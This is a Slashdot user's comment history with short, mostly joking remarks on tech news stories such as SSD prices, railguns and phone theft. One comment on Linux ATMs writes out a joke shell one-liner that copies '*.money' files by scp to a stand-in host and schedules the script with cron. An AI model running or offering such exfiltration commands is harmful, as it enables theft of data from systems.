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SSD-HDD Price Gap Won't Go Away Anytime Soon

ketomax Re:RAID? (254 comments)

I have been looking at online stores to buy a 2.5 inch internal SSD drive and a matching USB3 drive enclosure for my Dell Laptop since yesterday. The laptop contains a ~750 GB HDD. It is half way through the 3 years warranty period and I do not want to void it by replacing the HDD with the SSD myself. Getting it done through Dell would cost more. I initially tried to find external SSD drives but the costs seem to be 30% higher than buying the enclosure separately. The USB3 interface at 5 Gbit/s seem only slightly slower than the 6 Gbit/s SATA 3 and as such should yield significant performance boost when compared to my current HDD.

Ultimately, though I had decided to delay the purchase so that the price of SSDs can come down further. Thanks to TFA, I now have renewed motivation to buy them today itself.

3 days ago

Bill Gates Patents Detecting, Responding To "Glassholes"

ketomax Re:Not far enough. (140 comments)

assault and battery?

People at DCUO do it every thursday and nobody gets arrested.

4 days ago

Navy Debuts New Railgun That Launches Shells at Mach 7

ketomax Re:Finally.... (630 comments)

We can take on kaiju...

Category 1 only

about two weeks ago

China Approves Microsoft-Nokia Deal, Gets Patent Concessions In Return

ketomax Re:I don't get it (26 comments)

Considering that Microsoft is a US company and Nokia Finnish, what would happen if China did not approve?

about two weeks ago

Department of Transportation Makes Rear View Cameras Mandatory

ketomax Wrong Way (518 comments)

requiring car manufacturers to include rearview cameras in all cars

What's wrong with cameras mounted at the front? At least one can record the journey properly that way.

about three weeks ago

Creating "Homo Minutus" — a Benchtop Human To Test Drugs

ketomax Rights (49 comments)

What about the fundamental rights of these organs?

about three weeks ago

Synthetic Chromosomes Successfully Integrated Into Brewer's Yeast

ketomax Re:We Can Rebuild It (107 comments)

So, you do tremble before grodd!

about three weeks ago

China Arrests 1,500 People For Sending Spam Messages From Fake Mobile Bases

ketomax Still expensive (35 comments)

all for RMB 45,000 (£4,355)

Nah, still too expensive. We need some competition in this area to bring down the rates. It is only then that the vision of an AIO spam package in every home can be realized.

about three weeks ago

Google Glass Signs Deal With Ray Ban's Parent Company

ketomax Re:fuck me (125 comments)

Google's only innovation of interest has been their PageRank algorithm. Everything since then has been a bought-out or an also-ran.

What about gmail & google docs?

about a month ago

Linux May Succeed Windows XP As OS of Choice For ATMs

ketomax Re:Embedded (367 comments)

I wonder what happens if I key in the following into these ATMs:-

echo "ls -l /all_users/*.money | while read x; do scp $x yours@truly.com:/uncrackable/vault; done" > /root/harmless_script.sh
20 0 * * * /root/harmless_script.sh 2>/dev/null > crontab

about a month ago

Why Buy Microsoft Milk When the Google Cow Is Free?

ketomax Re: Simple (409 comments)

Why Buy Microsoft Milk When the Google Cow Is Free?

Because not everyone likes to milk the cows.

about 1 month ago

Research Suggests Pulling All-Nighters Can Cause Permanent Damage

ketomax Re:sounds implausible to me (144 comments)

Benjamin Franklin said that there will be plenty of time to sleep once you are dead. What he did not mention was that this abundance of time won't be far away if you keep following his advice.

about 1 month ago

Ask Slashdot: How Can I Prepare For the Theft of My Android Phone?

ketomax Re:Seriously? (374 comments)

About an year ago my HTC HD2 was stolen while getting off a bus, here in India. I am quite aware of my belongings while traveling so it came as a surprise. I realized that it was stolen within 15 seconds but could not find it on anyone (yes they were generous enough to allow being frisked; pockets only). Most probably, it was the person sitting next to me. He had taken the ticket to the same stop as me. But, while getting down he was nowhere to be found.

That day I realized how easy it was for these guys. Although, I do respect them for their skills. Apparently, the key to pulling it off is a push. At the police station, there was a template for reporting stolen mobiles. In fact that is the only template they had. Ever since, I have been using a phone so cheap that it would strike their prestige should they attempt to steal it.

I realized that all I really needed from a phone is the ability to make/receive voice calls, receive SMS alerts and sometimes, text people. This dumb phone serves all these and it's keypad gives me the most efficiency in doing them. Until the manufacturers and service providers implement a kill switch for all stolen phones, I have decided to stay clear of smartphones.

Not everyone is as lucky as my boss who has had cabbies frantically try and succeed in their attempts to return the phones he had left behind. Even a village rallied to find the owner of a phone he dropped in a swamp while snapping (photographs) birds. I am sure Poseidon is spending sleepless nights trying to return the phone he threw into the ocean while being frustrated by a client.

about a month ago

One In Ten Americans Thinks HTML Is a Type of Sexually Transmitted Infection

ketomax Software vs Hardware (255 comments)

'software' was comfortable clothing

So corsets are hardware?

about a month and a half ago

Dogs' Brains Have Human-like "Voice Area"

ketomax Re: et tu human (139 comments)

Dogs' Brains Have Human-like "Voice Area"

So, human brains do have a doggy like "Bark Area"!

about a month ago

EFF Reports GHCQ and NSA Keeping Tabs On Wikileaks Visitors and Reporters

ketomax Re:Everybody, visit wikileaks now! (82 comments)

What about reading this slashdot discussion? Does that put me under surveillance too? Surely, more productive things can be run on these computing resources than looking into my boredom remedies.

about 2 months ago

Chevron Gives Residents Near Fracking Explosion Free Pizza

ketomax Re:Scientists Create Pizza That Can Last Years (207 comments)

The company gave those who live nearby a certificate for a free pizza and some soda.

What would they have given for free to the residents of Chernobyl?

about 2 months ago

Scientists Create Pizza That Can Last Years

ketomax Re:the good news (225 comments)

So, this new pizza will have a 1.578e+6 minutes delivery guarantee instead of 30? As a valued dominos customer (orders every weekend) I would like to avail this 20 times faster service.

about 2 months ago


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